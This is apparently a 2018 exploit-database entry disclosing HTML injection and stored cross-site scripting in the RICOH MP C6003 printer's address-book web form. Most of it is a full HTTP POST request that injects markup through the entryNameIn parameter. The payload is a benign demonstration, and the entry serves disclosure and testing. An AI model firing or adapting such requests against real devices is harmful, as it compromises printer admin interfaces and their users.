RICOH MP C6003 Printer - Cross-Site Scripting

# Exploit Title: RICOH MP C6003 Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6003-color-laser-multifunction-printer/_/R-416534
# Software: RICOH Printer
# Product Version:  MP C6003
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH MP C6003 printer, HTML Injection and Stored XSS vulnerabilities have been 
# discovered in the area of adding addresses via the entryNameIn parameter 
# to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://TARGET/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 191
Cookie: risessionid=136092287407915; cookieOnOffChecker=on; wimsesid=201698077
Connection: close

mode=ADDUSER&step=BASE&wimToken=71325138&entryIndexIn=00031&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1